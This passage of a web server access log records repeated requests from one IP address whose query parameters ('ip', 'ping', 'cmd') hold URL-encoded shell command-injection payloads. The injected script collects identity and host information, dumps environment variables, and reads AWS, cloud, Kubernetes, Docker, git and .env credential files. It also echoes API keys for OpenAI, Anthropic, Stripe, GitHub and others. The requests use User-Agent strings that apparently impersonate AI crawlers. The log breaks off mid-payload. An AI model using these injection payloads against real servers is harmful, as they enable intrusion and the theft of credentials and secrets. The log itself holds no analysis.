2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13832 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?ip=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13823 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.5767.98 Mobile Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?ping=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13821 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.1459.227 Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f